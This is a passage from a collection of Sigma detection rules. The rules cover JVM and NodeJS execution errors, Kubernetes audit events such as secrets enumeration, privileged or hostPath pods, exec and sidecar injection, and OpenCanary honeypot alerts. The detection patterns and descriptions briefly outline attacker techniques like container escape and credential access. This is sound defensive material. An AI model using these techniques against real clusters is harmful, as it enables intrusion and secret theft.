"content": "title: Process Execution Error In JVM Based Application\nid: d65f37da-a26a-48f8-8159-3dde96680ad2\nstatus: test\ndescription: Detects process execution related exceptions in JVM based apps, often relates to RCE\nreferences:\n - https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs\nauthor: Moti Harmats\ndate: 2023-02-11\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: jvm\n definition: 'Requirements: application error logs must be collected (with LOG_LEVEL=ERROR and above)'\ndetection:\n keywords:\n - 'Cannot run program'\n - 'java.lang.ProcessImpl'\n - 'java.lang.ProcessBuilder'\n condition: keywords\nfalsepositives:\n - Application bugs\nlevel: high\n"
},
{
"path": "rules/application/jvm/java_xxe_exploitation_attempt.yml",
"content": "title: Potential XXE Exploitation Attempt In JVM Based Application\nid: c4e06896-e27c-4583-95ac-91ce2279345d\nstatus: test\ndescription: Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely.\nreferences:\n - https://rules.sonarsource.com/java/RSPEC-2755\n - https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing\n - https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs\nauthor: Moti Harmats\ndate: 2023-02-11\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: jvm\n definition: 'Requirements: application error logs must be collected (with LOG_LEVEL=ERROR and above)'\ndetection:\n keywords:\n - 'SAXParseException'\n - 'DOMException'\n condition: keywords\nfalsepositives:\n - If the application expects to work with XML there may be parsing issues that don't necessarily mean XXE.\nlevel: high\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_change_admission_controller.yml",
"content": "title: Kubernetes Admission Controller Modification\nid: eed82177-38f5-4299-8a76-098d50d225ab\nrelated:\n - id: 6ad91e31-53df-4826-bd27-0166171c8040\n type: similar\nstatus: test\ndescription: |\n Detects when a modification (create, update or replace) action is taken that affects mutating or validating webhook configurations, as they can be used by an adversary to achieve persistence or exfiltrate access credentials.\nreferences:\n - https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/\n - https://security.padok.fr/en/blog/kubernetes-webhook-attackers\nauthor: kelnage\ndate: 2024-07-11\ntags:\n - attack.privilege-escalation\n - attack.initial-access\n - attack.defense-evasion\n - attack.persistence\n - attack.t1078\n - attack.credential-access\n - attack.t1552\n - attack.t1552.007\nlogsource:\n product: kubernetes\n service: audit\ndetection:\n selection:\n objectRef.apiGroup: 'admissionregistration.k8s.io'\n objectRef.resource:\n - 'mutatingwebhookconfigurations'\n - 'validatingwebhookconfigurations'\n verb:\n - 'create'\n - 'delete'\n - 'patch'\n - 'replace'\n - 'update'\n condition: selection\nfalsepositives:\n - Modifying the Kubernetes Admission Controller may need to be done by a system administrator.\n - Automated processes may need to take these actions and may need to be filtered.\nlevel: medium\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_cronjob_modification.yml",
"content": "title: Kubernetes CronJob/Job Modification\nid: 0c9b3bda-41a6-4442-9345-356ae86343dc\nrelated:\n - id: cd3a808c-c7b7-4c50-a2f3-f4cfcd436435\n type: similar\nstatus: test\ndescription: |\n Detects when a Kubernetes CronJob or Job is created or modified.\n A Kubernetes Job creates one or more pods to accomplish a specific task, and a CronJob creates Jobs on a recurring schedule.\n An adversary can take advantage of this Kubernetes object to schedule Jobs to run containers that execute malicious code within a cluster, allowing them to achieve persistence.\nreferences:\n - https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/\n - https://www.redhat.com/en/blog/protecting-kubernetes-against-mitre-attck-persistence#technique-33-kubernetes-cronjob\nauthor: kelnage\ndate: 2024-07-11\ntags:\n - attack.persistence\n - attack.privilege-escalation\n - attack.execution\nlogsource:\n product: kubernetes\n service: audit\ndetection:\n selection:\n objectRef.apiGroup: 'batch'\n objectRef.resource:\n - 'cronjobs'\n - 'jobs'\n verb:\n - 'create'\n - 'delete'\n - 'patch'\n - 'replace'\n - 'update'\n condition: selection\nfalsepositives:\n - Modifying a Kubernetes Job or CronJob may need to be done by a system administrator.\n - Automated processes may need to take these actions and may need to be filtered.\nlevel: medium\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_deployment_deleted.yml",
"content": "title: Deployment Deleted From Kubernetes Cluster\nid: 40967487-139b-4811-81d9-c9767a92aa5a\nstatus: test\ndescription: |\n Detects the removal of a deployment from a Kubernetes cluster.\n This could indicate disruptive activity aiming to impact business operations.\nreferences:\n - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Data%20destruction/\nauthor: Leo Tsaousis (@laripping)\ndate: 2024-03-26\ntags:\n - attack.t1498\n - attack.impact\nlogsource:\n category: application\n product: kubernetes\n service: audit\ndetection:\n selection:\n verb: 'delete'\n objectRef.resource: 'deployments'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_events_deleted.yml",
"content": "title: Kubernetes Events Deleted\nid: 3132570d-cab2-4561-9ea6-1743644b2290\nrelated:\n - id: 225d8b09-e714-479c-a0e4-55e6f29adf35\n type: derived\nstatus: test\ndescription: |\n Detects when events are deleted in Kubernetes.\n An adversary may delete Kubernetes events in an attempt to evade detection.\nreferences:\n - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Delete%20K8S%20events/\nauthor: Leo Tsaousis (@laripping)\ndate: 2024-03-26\ntags:\n - attack.defense-evasion\n - attack.t1070\nlogsource:\n category: application\n product: kubernetes\n service: audit\ndetection:\n selection:\n verb: 'delete'\n objectRef.resource: 'events'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_exec_into_container.yml",
"content": "title: Potential Remote Command Execution In Pod Container\nid: a1b0ca4e-7835-413e-8471-3ff2b8a66be6\nstatus: test\ndescription: |\n Detects attempts to execute remote commands, within a Pod's container using e.g. the \"kubectl exec\" command.\nreferences:\n - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Exec%20into%20container/\nauthor: Leo Tsaousis (@laripping)\ndate: 2024-03-26\ntags:\n - attack.t1609\n - attack.execution\nlogsource:\n category: application\n product: kubernetes\n service: audit\ndetection:\n selection:\n verb: 'create'\n objectRef.resource: 'pods'\n objectRef.subresource: 'exec'\n condition: selection\nfalsepositives:\n - Legitimate debugging activity. Investigate the identity performing the requests and their authorization.\nlevel: medium\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_hostpath_mount.yml",
"content": "title: Container With A hostPath Mount Created\nid: 402b955c-8fe0-4a8c-b635-622b4ac5f902\nstatus: test\ndescription: |\n Detects creation of a container with a hostPath mount.\n A hostPath volume mounts a directory or a file from the node to the container.\n Attackers who have permissions to create a new pod in the cluster may create one with a writable hostPath volume and chroot to escape to the underlying node.\nreferences:\n - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Writable%20hostPath%20mount/\n - https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216\nauthor: Leo Tsaousis (@laripping)\ndate: 2024-03-26\ntags:\n - attack.t1611\n - attack.privilege-escalation\nlogsource:\n category: application\n product: kubernetes\n service: audit\ndetection:\n selection:\n verb: 'create'\n objectRef.resource: 'pods'\n hostPath: '*' # Note: Add the \"exists\" when it's implemented in SigmaHQ/Aurora\n condition: selection\nfalsepositives:\n - The DaemonSet controller creates pods with hostPath volumes within the kube-system namespace.\nlevel: low\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_pod_in_system_namespace.yml",
"content": "title: Creation Of Pod In System Namespace\nid: a80d927d-ac6e-443f-a867-e8d6e3897318\nstatus: test\ndescription: |\n Detects deployments of pods within the kube-system namespace, which could be intended to imitate system pods.\n System pods, created by controllers such as Deployments or DaemonSets have random suffixes in their names.\n Attackers can use this fact and name their backdoor pods as if they were created by these controllers to avoid detection.\n Deployment of such a backdoor container e.g. named kube-proxy-bv61v, could be attempted in the kube-system namespace alongside the other administrative containers.\nreferences:\n - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Pod%20or%20container%20name%20similarily/\nauthor: Leo Tsaousis (@laripping)\ndate: 2024-03-26\ntags:\n - attack.defense-evasion\n - attack.t1036.005\nlogsource:\n category: application\n product: kubernetes\n service: audit\ndetection:\n selection:\n verb: 'create'\n objectRef.resource: 'pods'\n objectRef.namespace: kube-system\n condition: selection\nfalsepositives:\n - System components such as daemon-set-controller and kube-scheduler also create pods in the kube-system namespace\nlevel: medium\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_privileged_pod_creation.yml",
"content": "title: Privileged Container Deployed\nid: c5cd1b20-36bb-488d-8c05-486be3d0cb97\nstatus: test\ndescription: |\n Detects the creation of a \"privileged\" container, an action which could be indicative of a threat actor mounting a container breakout attacks.\n A privileged container is a container that can access the host with all of the root capabilities of the host machine. This allows it to view, interact and modify processes, network operations, IPC calls, the file system, mount points, SELinux configurations etc. as the root user on the host.\n Various versions of \"privileged\" containers can be specified, e.g. by setting the securityContext.privileged flag in the resource specification, setting non-standard Linux capabilities, or configuring the hostNetwork/hostPID fields\nreferences:\n - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Privileged%20container/\n - https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-kubernetes.html#privilegeescalation-kubernetes-privilegedcontainer\n - https://www.elastic.co/guide/en/security/current/kubernetes-pod-created-with-hostnetwork.html\n - https://www.elastic.co/guide/en/security/current/kubernetes-container-created-with-excessive-linux-capabilities.html\nauthor: Leo Tsaousis (@laripping)\ndate: 2024-03-26\ntags:\n - attack.t1611\n - attack.privilege-escalation\nlogsource:\n category: application\n product: kubernetes\n service: audit\ndetection:\n selection:\n verb: 'create'\n objectRef.resource: 'pods'\n capabilities: '*' # Note: Add the \"exists\" when it's implemented in SigmaHQ/Aurora\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_rbac_permisions_listing.yml",
"content": "title: RBAC Permission Enumeration Attempt\nid: 84b777bd-c946-4d17-aa2e-c39f5a454325\nstatus: test\ndescription: |\n Detects identities attempting to enumerate their Kubernetes RBAC permissions.\n In the early stages of a breach, attackers will aim to list the permissions they have within the compromised environment.\n In a Kubernetes cluster, this can be achieved by interacting with the API server, and querying the SelfSubjectAccessReview API via e.g. a \"kubectl auth can-i --list\" command.\n This will enumerate the Role-Based Access Controls (RBAC) rules defining the compromised user's authorization.\nreferences:\n - https://www.elastic.co/guide/en/security/current/kubernetes-suspicious-self-subject-review.html\nauthor: Leo Tsaousis (@laripping)\ndate: 2024-03-26\ntags:\n - attack.t1069.003\n - attack.t1087.004\n - attack.discovery\nlogsource:\n category: application\n product: kubernetes\n service: audit\ndetection:\n selection:\n verb: 'create'\n apiGroup: 'authorization.k8s.io'\n objectRef.resource: 'selfsubjectrulesreviews'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_rolebinding_modification.yml",
"content": "title: Kubernetes Rolebinding Modification\nid: 10b97915-ec8d-455f-a815-9a78926585f6\nrelated:\n - id: 0322d9f2-289a-47c2-b5e1-b63c90901a3e\n type: similar\nstatus: test\ndescription: |\n Detects when a Kubernetes Rolebinding is created or modified.\nreferences:\n - https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/\n - https://medium.com/@seifeddinerajhi/kubernetes-rbac-privilege-escalation-exploits-and-mitigations-26c07629eeab\nauthor: kelnage\ndate: 2024-07-11\ntags:\n - attack.privilege-escalation\nlogsource:\n product: kubernetes\n service: audit\ndetection:\n selection:\n objectRef.apiGroup: 'rbac.authorization.k8s.io'\n objectRef.resource:\n - 'clusterrolebindings'\n - 'rolebindings'\n verb:\n - 'create'\n - 'delete'\n - 'patch'\n - 'replace'\n - 'update'\n condition: selection\nfalsepositives:\n - Modifying a Kubernetes Rolebinding may need to be done by a system administrator.\n - Automated processes may need to take these actions and may need to be filtered.\nlevel: medium\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_secrets_enumeration.yml",
"content": "title: Kubernetes Secrets Enumeration\nid: eeb3e9e1-b685-44e4-9232-6bb701f925b5\nrelated:\n - id: 7ee0b4aa-d8d4-4088-b661-20efdf41a04c\n type: derived\nstatus: test\ndescription: Detects enumeration of Kubernetes secrets.\nreferences:\n - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/List%20K8S%20secrets/\nauthor: Leo Tsaousis (@laripping)\ndate: 2024-03-26\ntags:\n - attack.t1552.007\n - attack.credential-access\nlogsource:\n category: application\n product: kubernetes\n service: audit\ndetection:\n selection:\n verb: 'list'\n objectRef.resource: 'secrets'\n condition: selection\nfalsepositives:\n - The Kubernetes dashboard occasionally accesses the kubernetes-dashboard-key-holder secret\nlevel: low\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_secrets_modified_or_deleted.yml",
"content": "title: Kubernetes Secrets Modified or Deleted\nid: 58d31a75-a4f8-4c40-985b-373d58162ca2\nrelated:\n - id: 2f0bae2d-bf20-4465-be86-1311addebaa3\n type: similar\nstatus: test\ndescription: |\n Detects when Kubernetes Secrets are Modified or Deleted.\nreferences:\n - https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/\n - https://commandk.dev/blog/guide-to-audit-k8s-secrets-for-compliance/\nauthor: kelnage\ndate: 2024-07-11\ntags:\n - attack.credential-access\nlogsource:\n product: kubernetes\n service: audit\ndetection:\n selection:\n objectRef.resource: 'secrets'\n verb:\n - 'create'\n - 'delete'\n - 'patch'\n - 'replace'\n - 'update'\n condition: selection\nfalsepositives:\n - Secrets being modified or deleted may be performed by a system administrator.\n - Automated processes may need to take these actions and may need to be filtered.\nlevel: medium\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_serviceaccount_creation.yml",
"content": "title: New Kubernetes Service Account Created\nid: e31bae15-83ed-473e-bf31-faf4f8a17d36\nrelated:\n - id: 12d027c3-b48c-4d9d-8bb6-a732200034b2\n type: derived\nstatus: test\ndescription: |\n Detects creation of new Kubernetes service account, which could indicate an attacker's attempt to persist within a cluster.\nreferences:\n - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/container%20service%20account/\nauthor: Leo Tsaousis (@laripping)\ndate: 2024-03-26\ntags:\n - attack.persistence\n - attack.t1136\nlogsource:\n category: application\n product: kubernetes\n service: audit\ndetection:\n selection:\n verb: 'create'\n objectRef.resource: 'serviceaccounts'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_sidecar_injection.yml",
"content": "title: Potential Sidecar Injection Into Running Deployment\nid: ad9012a6-e518-4432-9890-f3b82b8fc71f\nstatus: test\ndescription: |\n Detects attempts to inject a sidecar container into a running deployment.\n A sidecar container is an additional container within a pod, that resides alongside the main container.\n One way to add containers to running resources like Deployments/DeamonSets/StatefulSets, is via a \"kubectl patch\" operation.\n By injecting a new container within a legitimate pod, an attacker can run their code and hide their activity, instead of running their own separated pod in the cluster.\nreferences:\n - https://kubernetes.io/docs/tasks/manage-kubernetes-objects/update-api-object-kubectl-patch\n - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Sidecar%20Injection/\nauthor: Leo Tsaousis (@laripping)\ndate: 2024-03-26\ntags:\n - attack.t1609\n - attack.execution\nlogsource:\n category: application\n product: kubernetes\n service: audit\ndetection:\n selection:\n verb: 'patch'\n apiGroup: 'apps'\n objectRef.resource: 'deployments'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/application/kubernetes/audit/kubernetes_audit_unauthorized_unauthenticated_actions.yml",
"content": "title: Kubernetes Unauthorized or Unauthenticated Access\nid: 0d933542-1f1f-420d-97d4-21b2c3c492d9\nstatus: test\ndescription: |\n Detects when a request to the Kubernetes API is rejected due to lack of authorization or due to an expired authentication token being used.\n This may indicate an attacker attempting to leverage credentials they have obtained.\nreferences:\n - https://kubernetes.io/docs/reference/config-api/apiserver-audit.v1/\n - https://www.datadoghq.com/blog/monitor-kubernetes-audit-logs/#monitor-api-authentication-issues\nauthor: kelnage\ndate: 2024-04-12\ntags:\n - attack.privilege-escalation\nlogsource:\n product: kubernetes\n service: audit\ndetection:\n selection:\n responseStatus.code:\n - 401 # Unauthorized\n - 403 # Forbidden\n condition: selection\nfalsepositives:\n - A misconfigured RBAC policy, a mistake by a valid user, or a wider issue with authentication tokens can also generate these errors.\nlevel: low\n"
},
{
"path": "rules/application/nodejs/nodejs_rce_exploitation_attempt.yml",
"content": "title: Potential RCE Exploitation Attempt In NodeJS\nid: 97661d9d-2beb-4630-b423-68985291a8af\nstatus: test\ndescription: Detects process execution related errors in NodeJS. If the exceptions are caused due to user input then they may suggest an RCE vulnerability.\nreferences:\n - https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs\nauthor: Moti Harmats\ndate: 2023-02-11\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: nodejs\n definition: 'Requirements: application error logs must be collected (with LOG_LEVEL=ERROR and above)'\ndetection:\n keywords:\n - 'node:child_process'\n condition: keywords\nfalsepositives:\n - Puppeteer invocation exceptions often contain child_process related errors, that doesn't necessarily mean that the app is vulnerable.\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_ftp_login_attempt.yml",
"content": "title: OpenCanary - FTP Login Attempt\nid: 6991bc2b-ae2e-447f-bc55-3a1ba04c14e5\nstatus: test\ndescription: Detects instances where an FTP service on an OpenCanary node has had a login attempt.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.initial-access\n - attack.exfiltration\n - attack.lateral-movement\n - attack.t1190\n - attack.t1021\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 2000\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_git_clone_request.yml",
"content": "title: OpenCanary - GIT Clone Request\nid: 4fe17521-aef3-4e6a-9d6b-4a7c8de155a8\nstatus: test\ndescription: Detects instances where a GIT service on an OpenCanary node has had Git Clone request.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.collection\n - attack.t1213\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 16001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_http_get.yml",
"content": "title: OpenCanary - HTTP GET Request\nid: af6c3078-84cd-4c68-8842-08b76bd81b13\nstatus: test\ndescription: Detects instances where an HTTP service on an OpenCanary node has received a GET request.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 3000\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_http_post_login_attempt.yml",
"content": "title: OpenCanary - HTTP POST Login Attempt\nid: af1ac430-df6b-4b38-b976-0b52f07a0252\nstatus: test\ndescription: |\n Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.initial-access\n - attack.t1190\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 3001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_httpproxy_login_attempt.yml",
"content": "title: OpenCanary - HTTPPROXY Login Attempt\nid: 5498fc09-adc6-4804-b9d9-5cca1f0b8760\nstatus: test\ndescription: |\n Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.initial-access\n - attack.defense-evasion\n - attack.command-and-control\n - attack.t1090\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 7001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_mssql_login_sqlauth.yml",
"content": "title: OpenCanary - MSSQL Login Attempt Via SQLAuth\nid: 3ec9a16d-0b4f-4967-9542-ebf38ceac7dd\nstatus: test\ndescription: |\n Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.credential-access\n - attack.collection\n - attack.t1003\n - attack.t1213\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 9001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_mssql_login_winauth.yml",
"content": "title: OpenCanary - MSSQL Login Attempt Via Windows Authentication\nid: 6e78f90f-0043-4a01-ac41-f97681613a66\nstatus: test\ndescription: |\n Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.credential-access\n - attack.collection\n - attack.t1003\n - attack.t1213\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 9002\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_mysql_login_attempt.yml",
"content": "title: OpenCanary - MySQL Login Attempt\nid: e7d79a1b-25ed-4956-bd56-bd344fa8fd06\nstatus: test\ndescription: Detects instances where a MySQL service on an OpenCanary node has had a login attempt.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.credential-access\n - attack.collection\n - attack.t1003\n - attack.t1213\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 8001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_ntp_monlist.yml",
"content": "title: OpenCanary - NTP Monlist Request\nid: 7cded4b3-f09e-405a-b96f-24248433ba44\nstatus: test\ndescription: Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.impact\n - attack.t1498\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 11001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_portscan_nmap_fin_scan.yaml",
"content": "title: OpenCanary - NMAP FIN Scan\nid: eae8c0c8-e5da-450a-9d7d-66aa56cd26b6\nstatus: experimental\ndescription: Detects instances where an OpenCanary node has been targeted by a NMAP FIN Scan\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Marco Pedrinazzi (@pedrinazziM)\ndate: 2026-01-06\ntags:\n - attack.discovery\n - attack.t1046\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 5005\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_portscan_nmap_null_scan.yaml",
"content": "title: OpenCanary - NMAP NULL Scan\nid: 68b8547b-107f-43f3-97fb-900a7d63c190\nstatus: experimental\ndescription: Detects instances where an OpenCanary node has been targeted by a NMAP NULL Scan\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Marco Pedrinazzi (@pedrinazziM)\ndate: 2026-01-06\ntags:\n - attack.discovery\n - attack.t1046\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 5003\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_portscan_nmap_os_scan.yaml",
"content": "title: OpenCanary - NMAP OS Scan\nid: e8a677fd-248c-4eab-94df-de2f6f645884\nstatus: experimental\ndescription: Detects instances where an OpenCanary node has been targeted by a NMAP OS Scan\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Marco Pedrinazzi (@pedrinazziM)\ndate: 2026-01-06\ntags:\n - attack.discovery\n - attack.t1046\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 5002\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_portscan_nmap_xmas_scan.yaml",
"content": "title: OpenCanary - NMAP XMAS Scan\nid: d7553d7b-f485-479c-b192-cdac6edd83a4\nstatus: experimental\ndescription: Detects instances where an OpenCanary node has been targeted by a NMAP XMAS Scan\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Marco Pedrinazzi (@pedrinazziM)\ndate: 2026-01-06\ntags:\n - attack.discovery\n - attack.t1046\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 5004\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_portscan_syn_scan.yaml",
"content": "title: OpenCanary - Host Port Scan (SYN Scan)\nid: 974be8d2-283e-4033-ab08-7505b84204d0\nstatus: experimental\ndescription: Detects instances where an OpenCanary node has been targeted by a SYN port scan.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Marco Pedrinazzi (@pedrinazziM)\ndate: 2026-01-06\ntags:\n - attack.discovery\n - attack.t1046\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 5001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_rdp_connection_attempt.yaml",
"content": "title: OpenCanary - RDP New Connection Attempt\nid: 598290cf-5932-45cd-9123-be1e05ab4f2e\nstatus: experimental\ndescription: Detects instances where an RDP service on an OpenCanary node has had a connection attempt.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Marco Pedrinazzi (@pedrinazziM)\ndate: 2026-01-06\ntags:\n - attack.initial-access\n - attack.lateral-movement\n - attack.t1133\n - attack.t1021.001\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 14001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_redis_command.yml",
"content": "title: OpenCanary - REDIS Action Command Attempt\nid: 547dfc53-ebf6-4afe-8d2e-793d9574975d\nstatus: test\ndescription: Detects instances where a REDIS service on an OpenCanary node has had an action command attempted.\nreferences:\n - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration\n - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52\nauthor: Security Onion Solutions\ndate: 2024-03-08\ntags:\n - attack.credential-access\n - attack.collection\n - attack.t1003\n - attack.t1213\nlogsource:\n category: application\n product: opencanary\ndetection:\n selection:\n logtype: 17001\n condition: selection\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "rules/application/opencanary/opencanary_sip_request.yml",
